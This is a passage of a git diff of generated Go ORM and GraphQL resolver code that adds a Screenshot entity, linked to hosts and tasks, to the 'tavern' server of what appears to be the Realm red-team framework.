"screenshots" edges to the Screenshot entity. +func (tuo *TaskUpdateOne) ClearScreenshots() *TaskUpdateOne { + tuo.mutation.ClearScreenshots() + return tuo +} + +// RemoveScreenshotIDs removes the "screenshots" edge to Screenshot entities by IDs. +func (tuo *TaskUpdateOne) RemoveScreenshotIDs(ids ...int) *TaskUpdateOne { + tuo.mutation.RemoveScreenshotIDs(ids...) + return tuo +} + +// RemoveScreenshots removes "screenshots" edges to Screenshot entities. +func (tuo *TaskUpdateOne) RemoveScreenshots(s ...*Screenshot) *TaskUpdateOne { + ids := make([]int, len(s)) + for i := range s { + ids[i] = s[i].ID + } + return tuo.RemoveScreenshotIDs(ids...) +} + // Where appends a list predicates to the TaskUpdate builder. func (tuo *TaskUpdateOne) Where(ps ...predicate.Task) *TaskUpdateOne { tuo.mutation.Where(ps...) @@ -1398,6 +1516,51 @@ func (tuo *TaskUpdateOne) sqlSave(ctx context.Context) (_node *Task, err error) } _spec.Edges.Add = append(_spec.Edges.Add, edge) } + if tuo.mutation.ScreenshotsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: false, + Table: task.ScreenshotsTable, + Columns: []string{task.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := tuo.mutation.RemovedScreenshotsIDs(); len(nodes) > 0 && !tuo.mutation.ScreenshotsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: false, + Table: task.ScreenshotsTable, + Columns: []string{task.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := tuo.mutation.ScreenshotsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: false, + Table: task.ScreenshotsTable, + Columns: []string{task.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } _node = &Task{config: tuo.config} _spec.Assign = _node.assignValues _spec.ScanValues = _node.scanValues diff --git a/tavern/internal/ent/tx.go b/tavern/internal/ent/tx.go index 11b35c806..4ad076d76 100644 --- a/tavern/internal/ent/tx.go +++ b/tavern/internal/ent/tx.go @@ -36,6 +36,8 @@ type Tx struct { Quest *QuestClient // Repository is the client for interacting with the Repository builders. Repository *RepositoryClient + // Screenshot is the client for interacting with the Screenshot builders. + Screenshot *ScreenshotClient // Shell is the client for interacting with the Shell builders. Shell *ShellClient // ShellTask is the client for interacting with the ShellTask builders. @@ -191,6 +193,7 @@ func (tx *Tx) init() { tx.Portal = NewPortalClient(tx.config) tx.Quest = NewQuestClient(tx.config) tx.Repository = NewRepositoryClient(tx.config) + tx.Screenshot = NewScreenshotClient(tx.config) tx.Shell = NewShellClient(tx.config) tx.ShellTask = NewShellTaskClient(tx.config) tx.Tag = NewTagClient(tx.config) diff --git a/tavern/internal/graphql/generated/ent.generated.go b/tavern/internal/graphql/generated/ent.generated.go index 1219e861a..610bc0865 100644 --- a/tavern/internal/graphql/generated/ent.generated.go +++ b/tavern/internal/graphql/generated/ent.generated.go @@ -384,6 +384,42 @@ func (ec *executionContext) field_Host_processes_args(ctx context.Context, rawAr return args, nil } +func (ec *executionContext) field_Host_screenshots_args(ctx context.Context, rawArgs map[string]any) (map[string]any, error) { + var err error + args := map[string]any{} + arg0, err := graphql.ProcessArgField(ctx, rawArgs, "after", ec.unmarshalOCursor2ᚖentgoᚗioᚋcontribᚋentgqlᚐCursor) + if err != nil { + return nil, err + } + args["after"] = arg0 + arg1, err := graphql.ProcessArgField(ctx, rawArgs, "first", ec.unmarshalOInt2ᚖint) + if err != nil { + return nil, err + } + args["first"] = arg1 + arg2, err := graphql.ProcessArgField(ctx, rawArgs, "before", ec.unmarshalOCursor2ᚖentgoᚗioᚋcontribᚋentgqlᚐCursor) + if err != nil { + return nil, err + } + args["before"] = arg2 + arg3, err := graphql.ProcessArgField(ctx, rawArgs, "last", ec.unmarshalOInt2ᚖint) + if err != nil { + return nil, err + } + args["last"] = arg3 + arg4, err := graphql.ProcessArgField(ctx, rawArgs, "orderBy", ec.unmarshalOScreenshotOrder2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotOrderᚄ) + if err != nil { + return nil, err + } + args["orderBy"] = arg4 + arg5, err := graphql.ProcessArgField(ctx, rawArgs, "where", ec.unmarshalOScreenshotWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotWhereInput) + if err != nil { + return nil, err + } + args["where"] = arg5 + return args, nil +} + func (ec *executionContext) field_Host_tags_args(ctx context.Context, rawArgs map[string]any) (map[string]any, error) { var err error args := map[string]any{} @@ -1245,6 +1281,42 @@ func (ec *executionContext) field_Task_reportedProcesses_args(ctx context.Contex return args, nil } +func (ec *executionContext) field_Task_screenshots_args(ctx context.Context, rawArgs map[string]any) (map[string]any, error) { + var err error + args := map[string]any{} + arg0, err := graphql.ProcessArgField(ctx, rawArgs, "after", ec.unmarshalOCursor2ᚖentgoᚗioᚋcontribᚋentgqlᚐCursor) + if err != nil { + return nil, err + } + args["after"] = arg0 + arg1, err := graphql.ProcessArgField(ctx, rawArgs, "first", ec.unmarshalOInt2ᚖint) + if err != nil { + return nil, err + } + args["first"] = arg1 + arg2, err := graphql.ProcessArgField(ctx, rawArgs, "before", ec.unmarshalOCursor2ᚖentgoᚗioᚋcontribᚋentgqlᚐCursor) + if err != nil { + return nil, err + } + args["before"] = arg2 + arg3, err := graphql.ProcessArgField(ctx, rawArgs, "last", ec.unmarshalOInt2ᚖint) + if err != nil { + return nil, err + } + args["last"] = arg3 + arg4, err := graphql.ProcessArgField(ctx, rawArgs, "orderBy", ec.unmarshalOScreenshotOrder2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotOrderᚄ) + if err != nil { + return nil, err + } + args["orderBy"] = arg4 + arg5, err := graphql.ProcessArgField(ctx, rawArgs, "where", ec.unmarshalOScreenshotWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotWhereInput) + if err != nil { + return nil, err + } + args["where"] = arg5 + return args, nil +} + func (ec *executionContext) field_Task_shells_args(ctx context.Context, rawArgs map[string]any) (map[string]any, error) { var err error args := map[string]any{} @@ -2304,6 +2376,8 @@ func (ec *executionContext) fieldContext_Beacon_host(_ context.Context, field gr return ec.fieldContext_Host_processes(ctx, field) case "credentials": return ec.fieldContext_Host_credentials(ctx, field) + case "screenshots": + return ec.fieldContext_Host_screenshots(ctx, field) } return nil, fmt.Errorf("no field named %q was found under type Host", field.Name) }, @@ -4366,6 +4440,55 @@ func (ec *executionContext) fieldContext_Host_credentials(ctx context.Context, f return fc, nil } +func (ec *executionContext) _Host_screenshots(ctx context.Context, field graphql.CollectedField, obj *ent.Host) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_Host_screenshots, + func(ctx context.Context) (any, error) { + fc := graphql.GetFieldContext(ctx) + return obj.Screenshots(ctx, fc.Args["after"].(*entgql.Cursor[int]), fc.Args["first"].(*int), fc.Args["before"].(*entgql.Cursor[int]), fc.Args["last"].(*int), fc.Args["orderBy"].([]*ent.ScreenshotOrder), fc.Args["where"].(*ent.ScreenshotWhereInput)) + }, + nil, + ec.marshalNScreenshotConnection2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotConnection, + true, + true, + ) +} + +func (ec *executionContext) fieldContext_Host_screenshots(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "Host", + Field: field, + IsMethod: true, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "edges": + return ec.fieldContext_ScreenshotConnection_edges(ctx, field) + case "pageInfo": + return ec.fieldContext_ScreenshotConnection_pageInfo(ctx, field) + case "totalCount": + return ec.fieldContext_ScreenshotConnection_totalCount(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type ScreenshotConnection", field.Name) + }, + } + defer func() { + if r := recover(); r != nil { + err = ec.Recover(ctx, r) + ec.Error(ctx, err) + } + }() + ctx = graphql.WithFieldContext(ctx, fc) + if fc.Args, err = ec.field_Host_screenshots_args(ctx, field.ArgumentMap(ec.Variables)); err != nil { + ec.Error(ctx, err) + return fc, err + } + return fc, nil +} + func (ec *executionContext) _HostConnection_edges(ctx context.Context, field graphql.CollectedField, obj *ent.HostConnection) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, @@ -4697,6 +4820,8 @@ func (ec *executionContext) fieldContext_HostCredential_host(_ context.Context, return ec.fieldContext_Host_processes(ctx, field) case "credentials": return ec.fieldContext_Host_credentials(ctx, field) + case "screenshots": + return ec.fieldContext_Host_screenshots(ctx, field) } return nil, fmt.Errorf("no field named %q was found under type Host", field.Name) }, @@ -4758,6 +4883,8 @@ func (ec *executionContext) fieldContext_HostCredential_task(_ context.Context, return ec.fieldContext_Task_reportedCredentials(ctx, field) case "shells": return ec.fieldContext_Task_shells(ctx, field) + case "screenshots": + return ec.fieldContext_Task_screenshots(ctx, field) } return nil, fmt.Errorf("no field named %q was found under type Task", field.Name) }, @@ -4821,6 +4948,8 @@ func (ec *executionContext) fieldContext_HostCredential_shellTask(_ context.Cont return ec.fieldContext_ShellTask_reportedFiles(ctx, field) case "reportedProcesses": return ec.fieldContext_ShellTask_reportedProcesses(ctx, field) + case "screenshots": + return ec.fieldContext_ShellTask_screenshots(ctx, field) } return nil, fmt.Errorf("no field named %q was found under type ShellTask", field.Name) }, @@ -5063,6 +5192,8 @@ func (ec *executionContext) fieldContext_HostEdge_node(_ context.Context, field return ec.fieldContext_Host_processes(ctx, field) case "credentials": return ec.fieldContext_Host_credentials(ctx, field) + case "screenshots": + return ec.fieldContext_Host_screenshots(ctx, field) } return nil, fmt.Errorf("no field named %q was found under type Host", field.Name) }, @@ -5414,6 +5545,8 @@ func (ec *executionContext) fieldContext_HostFile_host(_ context.Context, field return ec.fieldContext_Host_processes(ctx, field) case "credentials": return ec.fieldContext_Host_credentials(ctx, field) + case "screenshots": + return ec.fieldContext_Host_screenshots(ctx, field) } return nil, fmt.Errorf("no field named %q was found under type Host", field.Name) }, @@ -5475,6 +5608,8 @@ func (ec *executionContext) fieldContext_HostFile_task(_ context.Context, field return ec.fieldContext_Task_reportedCredentials(ctx, field) case "shells": return ec.fieldContext_Task_shells(ctx, field) + case "screenshots": + return ec.fieldContext_Task_screenshots(ctx, field) } return nil, fmt.Errorf("no field named %q was found under type Task", field.Name) }, @@ -5538,6 +5673,8 @@ func (ec *executionContext) fieldContext_HostFile_shellTask(_ context.Context, f return ec.fieldContext_ShellTask_reportedFiles(ctx, field) case "reportedProcesses": return ec.fieldContext_ShellTask_reportedProcesses(ctx, field) + case "screenshots": + return ec.fieldContext_ShellTask_screenshots(ctx, field) } return nil, fmt.Errorf("no field named %q was found under type ShellTask", field.Name) }, @@ -6134,6 +6271,8 @@ func (ec *executionContext) fieldContext_HostProcess_host(_ context.Context, fie return ec.fieldContext_Host_processes(ctx, field) case "credentials": return ec.fieldContext_Host_credentials(ctx, field) + case "screenshots": + return ec.fieldContext_Host_screenshots(ctx, field) } return nil, fmt.Errorf("no field named %q was found under type Host", field.Name) }, @@ -6195,6 +6334,8 @@ func (ec *executionContext) fieldContext_HostProcess_task(_ context.Context, fie return ec.fieldContext_Task_reportedCredentials(ctx, field) case "shells": return ec.fieldContext_Task_shells(ctx, field) + case "screenshots": + return ec.fieldContext_Task_screenshots(ctx, field) } return nil, fmt.Errorf("no field named %q was found under type Task", field.Name) }, @@ -6258,6 +6399,8 @@ func (ec *executionContext) fieldContext_HostProcess_shellTask(_ context.Context return ec.fieldContext_ShellTask_reportedFiles(ctx, field) case "reportedProcesses": return ec.fieldContext_ShellTask_reportedProcesses(ctx, field) + case "screenshots": + return ec.fieldContext_ShellTask_screenshots(ctx, field) } return nil, fmt.Errorf("no field named %q was found under type ShellTask", field.Name) }, @@ -7222,6 +7365,8 @@ func (ec *executionContext) fieldContext_Portal_task(_ context.Context, field gr return ec.fieldContext_Task_reportedCredentials(ctx, field) case "shells": return ec.fieldContext_Task_shells(ctx, field) + case "screenshots": + return ec.fieldContext_Task_screenshots(ctx, field) } return nil, fmt.Errorf("no field named %q was found under type Task", field.Name) }, @@ -7285,6 +7430,8 @@ func (ec *executionContext) fieldContext_Portal_shellTask(_ context.Context, fie return ec.fieldContext_ShellTask_reportedFiles(ctx, field) case "reportedProcesses": return ec.fieldContext_ShellTask_reportedProcesses(ctx, field) + case "screenshots": + return ec.fieldContext_ShellTask_screenshots(ctx, field) } return nil, fmt.Errorf("no field named %q was found under type ShellTask", field.Name) }, @@ -9775,12 +9922,12 @@ func (ec *executionContext) fieldContext_RepositoryEdge_cursor(_ context.Context return fc, nil } -func (ec *executionContext) _Shell_id(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { +func (ec *executionContext) _Screenshot_id(ctx context.Context, field graphql.CollectedField, obj *ent.Screenshot) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_Shell_id, + ec.fieldContext_Screenshot_id, func(ctx context.Context) (any, error) { return obj.ID, nil }, @@ -9791,9 +9938,9 @@ func (ec *executionContext) _Shell_id(ctx context.Context, field graphql.Collect ) } -func (ec *executionContext) fieldContext_Shell_id(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_Screenshot_id(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "Shell", + Object: "Screenshot", Field: field, IsMethod: false, IsResolver: false, @@ -9804,12 +9951,12 @@ func (ec *executionContext) fieldContext_Shell_id(_ context.Context, field graph return fc, nil } -func (ec *executionContext) _Shell_createdAt(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { +func (ec *executionContext) _Screenshot_createdAt(ctx context.Context, field graphql.CollectedField, obj *ent.Screenshot) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_Shell_createdAt, + ec.fieldContext_Screenshot_createdAt, func(ctx context.Context) (any, error) { return obj.CreatedAt, nil }, @@ -9820,9 +9967,9 @@ func (ec *executionContext) _Shell_createdAt(ctx context.Context, field graphql. ) } -func (ec *executionContext) fieldContext_Shell_createdAt(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_Screenshot_createdAt(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "Shell", + Object: "Screenshot", Field: field, IsMethod: false, IsResolver: false, @@ -9833,12 +9980,12 @@ func (ec *executionContext) fieldContext_Shell_createdAt(_ context.Context, fiel return fc, nil } -func (ec *executionContext) _Shell_lastModifiedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { +func (ec *executionContext) _Screenshot_lastModifiedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Screenshot) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_Shell_lastModifiedAt, + ec.fieldContext_Screenshot_lastModifiedAt, func(ctx context.Context) (any, error) { return obj.LastModifiedAt, nil }, @@ -9849,9 +9996,9 @@ func (ec *executionContext) _Shell_lastModifiedAt(ctx context.Context, field gra ) } -func (ec *executionContext) fieldContext_Shell_lastModifiedAt(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_Screenshot_lastModifiedAt(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "Shell", + Object: "Screenshot", Field: field, IsMethod: false, IsResolver: false, @@ -9862,388 +10009,325 @@ func (ec *executionContext) fieldContext_Shell_lastModifiedAt(_ context.Context, return fc, nil } -func (ec *executionContext) _Shell_closedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { +func (ec *executionContext) _Screenshot_name(ctx context.Context, field graphql.CollectedField, obj *ent.Screenshot) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_Shell_closedAt, + ec.fieldContext_Screenshot_name, func(ctx context.Context) (any, error) { - return obj.ClosedAt, nil + return obj.Name, nil }, nil, - ec.marshalOTime2timeᚐTime, + ec.marshalNString2string, + true, true, - false, ) } -func (ec *executionContext) fieldContext_Shell_closedAt(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_Screenshot_name(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "Shell", + Object: "Screenshot", Field: field, IsMethod: false, IsResolver: false, Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { - return nil, errors.New("field of type Time does not have child fields") + return nil, errors.New("field of type String does not have child fields") }, } return fc, nil } -func (ec *executionContext) _Shell_task(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { +func (ec *executionContext) _Screenshot_size(ctx context.Context, field graphql.CollectedField, obj *ent.Screenshot) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_Shell_task, + ec.fieldContext_Screenshot_size, func(ctx context.Context) (any, error) { - return obj.Task(ctx) + return obj.Size, nil }, nil, - ec.marshalOTask2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTask, + ec.marshalNUint642uint64, + true, true, - false, ) } -func (ec *executionContext) fieldContext_Shell_task(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_Screenshot_size(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "Shell", + Object: "Screenshot", Field: field, - IsMethod: true, + IsMethod: false, IsResolver: false, Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { - switch field.Name { - case "id": - return ec.fieldContext_Task_id(ctx, field) - case "createdAt": - return ec.fieldContext_Task_createdAt(ctx, field) - case "lastModifiedAt": - return ec.fieldContext_Task_lastModifiedAt(ctx, field) - case "claimedAt": - return ec.fieldContext_Task_claimedAt(ctx, field) - case "execStartedAt": - return ec.fieldContext_Task_execStartedAt(ctx, field) - case "execFinishedAt": - return ec.fieldContext_Task_execFinishedAt(ctx, field) - case "output": - return ec.fieldContext_Task_output(ctx, field) - case "outputSize": - return ec.fieldContext_Task_outputSize(ctx, field) - case "error": - return ec.fieldContext_Task_error(ctx, field) - case "quest": - return ec.fieldContext_Task_quest(ctx, field) - case "beacon": - return ec.fieldContext_Task_beacon(ctx, field) - case "reportedFiles": - return ec.fieldContext_Task_reportedFiles(ctx, field) - case "reportedProcesses": - return ec.fieldContext_Task_reportedProcesses(ctx, field) - case "reportedCredentials": - return ec.fieldContext_Task_reportedCredentials(ctx, field) - case "shells": - return ec.fieldContext_Task_shells(ctx, field) - } - return nil, fmt.Errorf("no field named %q was found under type Task", field.Name) + return nil, errors.New("field of type Uint64 does not have child fields") }, } return fc, nil } -func (ec *executionContext) _Shell_beacon(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { +func (ec *executionContext) _Screenshot_hash(ctx context.Context, field graphql.CollectedField, obj *ent.Screenshot) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_Shell_beacon, + ec.fieldContext_Screenshot_hash, func(ctx context.Context) (any, error) { - return obj.Beacon(ctx) + return obj.Hash, nil }, nil, - ec.marshalNBeacon2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐBeacon, - true, + ec.marshalOString2string, true, + false, ) } -func (ec *executionContext) fieldContext_Shell_beacon(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_Screenshot_hash(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "Shell", + Object: "Screenshot", Field: field, - IsMethod: true, + IsMethod: false, IsResolver: false, Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { - switch field.Name { - case "id": - return ec.fieldContext_Beacon_id(ctx, field) - case "createdAt": - return ec.fieldContext_Beacon_createdAt(ctx, field) - case "lastModifiedAt": - return ec.fieldContext_Beacon_lastModifiedAt(ctx, field) - case "name": - return ec.fieldContext_Beacon_name(ctx, field) - case "principal": - return ec.fieldContext_Beacon_principal(ctx, field) - case "identifier": - return ec.fieldContext_Beacon_identifier(ctx, field) - case "agentIdentifier": - return ec.fieldContext_Beacon_agentIdentifier(ctx, field) - case "lastSeenAt": - return ec.fieldContext_Beacon_lastSeenAt(ctx, field) - case "nextSeenAt": - return ec.fieldContext_Beacon_nextSeenAt(ctx, field) - case "interval": - return ec.fieldContext_Beacon_interval(ctx, field) - case "transport": - return ec.fieldContext_Beacon_transport(ctx, field) - case "host": - return ec.fieldContext_Beacon_host(ctx, field) - case "tasks": - return ec.fieldContext_Beacon_tasks(ctx, field) - case "shells": - return ec.fieldContext_Beacon_shells(ctx, field) - } - return nil, fmt.Errorf("no field named %q was found under type Beacon", field.Name) + return nil, errors.New("field of type String does not have child fields") }, } return fc, nil } -func (ec *executionContext) _Shell_owner(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { +func (ec *executionContext) _Screenshot_host(ctx context.Context, field graphql.CollectedField, obj *ent.Screenshot) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_Shell_owner, + ec.fieldContext_Screenshot_host, func(ctx context.Context) (any, error) { - return obj.Owner(ctx) + return obj.Host(ctx) }, nil, - ec.marshalNUser2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUser, + ec.marshalNHost2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHost, true, true, ) } -func (ec *executionContext) fieldContext_Shell_owner(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_Screenshot_host(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "Shell", + Object: "Screenshot", Field: field, IsMethod: true, IsResolver: false, Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { switch field.Name { case "id": - return ec.fieldContext_User_id(ctx, field) + return ec.fieldContext_Host_id(ctx, field) + case "createdAt": + return ec.fieldContext_Host_createdAt(ctx, field) + case "lastModifiedAt": + return ec.fieldContext_Host_lastModifiedAt(ctx, field) + case "identifier": + return ec.fieldContext_Host_identifier(ctx, field) case "name": - return ec.fieldContext_User_name(ctx, field) - case "photoURL": - return ec.fieldContext_User_photoURL(ctx, field) - case "isActivated": - return ec.fieldContext_User_isActivated(ctx, field) - case "isAdmin": - return ec.fieldContext_User_isAdmin(ctx, field) - case "tomes": - return ec.fieldContext_User_tomes(ctx, field) - case "activeShells": - return ec.fieldContext_User_activeShells(ctx, field) + return ec.fieldContext_Host_name(ctx, field) + case "primaryIP": + return ec.fieldContext_Host_primaryIP(ctx, field) + case "externalIP": + return ec.fieldContext_Host_externalIP(ctx, field) + case "platform": + return ec.fieldContext_Host_platform(ctx, field) + case "lastSeenAt": + return ec.fieldContext_Host_lastSeenAt(ctx, field) + case "nextSeenAt": + return ec.fieldContext_Host_nextSeenAt(ctx, field) + case "tags": + return ec.fieldContext_Host_tags(ctx, field) + case "beacons": + return ec.fieldContext_Host_beacons(ctx, field) + case "files": + return ec.fieldContext_Host_files(ctx, field) + case "processes": + return ec.fieldContext_Host_processes(ctx, field) + case "credentials": + return ec.fieldContext_Host_credentials(ctx, field) + case "screenshots": + return ec.fieldContext_Host_screenshots(ctx, field) } - return nil, fmt.Errorf("no field named %q was found under type User", field.Name) + return nil, fmt.Errorf("no field named %q was found under type Host", field.Name) }, } return fc, nil } -func (ec *executionContext) _Shell_portals(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { +func (ec *executionContext) _Screenshot_task(ctx context.Context, field graphql.CollectedField, obj *ent.Screenshot) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_Shell_portals, + ec.fieldContext_Screenshot_task, func(ctx context.Context) (any, error) { - return obj.Portals(ctx) + return obj.Task(ctx) }, nil, - ec.marshalOPortal2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐPortalᚄ, + ec.marshalOTask2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTask, true, false, ) } -func (ec *executionContext) fieldContext_Shell_portals(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_Screenshot_task(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "Shell", + Object: "Screenshot", Field: field, IsMethod: true, IsResolver: false, Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { switch field.Name { case "id": - return ec.fieldContext_Portal_id(ctx, field) + return ec.fieldContext_Task_id(ctx, field) case "createdAt": - return ec.fieldContext_Portal_createdAt(ctx, field) + return ec.fieldContext_Task_createdAt(ctx, field) case "lastModifiedAt": - return ec.fieldContext_Portal_lastModifiedAt(ctx, field) - case "closedAt": - return ec.fieldContext_Portal_closedAt(ctx, field) - case "task": - return ec.fieldContext_Portal_task(ctx, field) - case "shellTask": - return ec.fieldContext_Portal_shellTask(ctx, field) + return ec.fieldContext_Task_lastModifiedAt(ctx, field) + case "claimedAt": + return ec.fieldContext_Task_claimedAt(ctx, field) + case "execStartedAt": + return ec.fieldContext_Task_execStartedAt(ctx, field) + case "execFinishedAt": + return ec.fieldContext_Task_execFinishedAt(ctx, field) + case "output": + return ec.fieldContext_Task_output(ctx, field) + case "outputSize": + return ec.fieldContext_Task_outputSize(ctx, field) + case "error": + return ec.fieldContext_Task_error(ctx, field) + case "quest": + return ec.fieldContext_Task_quest(ctx, field) case "beacon": - return ec.fieldContext_Portal_beacon(ctx, field) - case "owner": - return ec.fieldContext_Portal_owner(ctx, field) - case "activeUsers": - return ec.fieldContext_Portal_activeUsers(ctx, field) - } - return nil, fmt.Errorf("no field named %q was found under type Portal", field.Name) - }, - } - return fc, nil -} - -func (ec *executionContext) _Shell_activeUsers(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { - return graphql.ResolveField( - ctx, - ec.OperationContext, - field, - ec.fieldContext_Shell_activeUsers, - func(ctx context.Context) (any, error) { - fc := graphql.GetFieldContext(ctx) - return obj.ActiveUsers(ctx, fc.Args["after"].(*entgql.Cursor[int]), fc.Args["first"].(*int), fc.Args["before"].(*entgql.Cursor[int]), fc.Args["last"].(*int), fc.Args["orderBy"].([]*ent.UserOrder), fc.Args["where"].(*ent.UserWhereInput)) - }, - nil, - ec.marshalNUserConnection2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUserConnection, - true, - true, - ) -} - -func (ec *executionContext) fieldContext_Shell_activeUsers(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { - fc = &graphql.FieldContext{ - Object: "Shell", - Field: field, - IsMethod: true, - IsResolver: false, - Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { - switch field.Name { - case "edges": - return ec.fieldContext_UserConnection_edges(ctx, field) - case "pageInfo": - return ec.fieldContext_UserConnection_pageInfo(ctx, field) - case "totalCount": - return ec.fieldContext_UserConnection_totalCount(ctx, field) + return ec.fieldContext_Task_beacon(ctx, field) + case "reportedFiles": + return ec.fieldContext_Task_reportedFiles(ctx, field) + case "reportedProcesses": + return ec.fieldContext_Task_reportedProcesses(ctx, field) + case "reportedCredentials": + return ec.fieldContext_Task_reportedCredentials(ctx, field) + case "shells": + return ec.fieldContext_Task_shells(ctx, field) + case "screenshots": + return ec.fieldContext_Task_screenshots(ctx, field) } - return nil, fmt.Errorf("no field named %q was found under type UserConnection", field.Name) + return nil, fmt.Errorf("no field named %q was found under type Task", field.Name) }, } - defer func() { - if r := recover(); r != nil { - err = ec.Recover(ctx, r) - ec.Error(ctx, err) - } - }() - ctx = graphql.WithFieldContext(ctx, fc) - if fc.Args, err = ec.field_Shell_activeUsers_args(ctx, field.ArgumentMap(ec.Variables)); err != nil { - ec.Error(ctx, err) - return fc, err - } return fc, nil } -func (ec *executionContext) _Shell_shellTasks(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { +func (ec *executionContext) _Screenshot_shellTask(ctx context.Context, field graphql.CollectedField, obj *ent.Screenshot) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_Shell_shellTasks, + ec.fieldContext_Screenshot_shellTask, func(ctx context.Context) (any, error) { - fc := graphql.GetFieldContext(ctx) - return obj.ShellTasks(ctx, fc.Args["after"].(*entgql.Cursor[int]), fc.Args["first"].(*int), 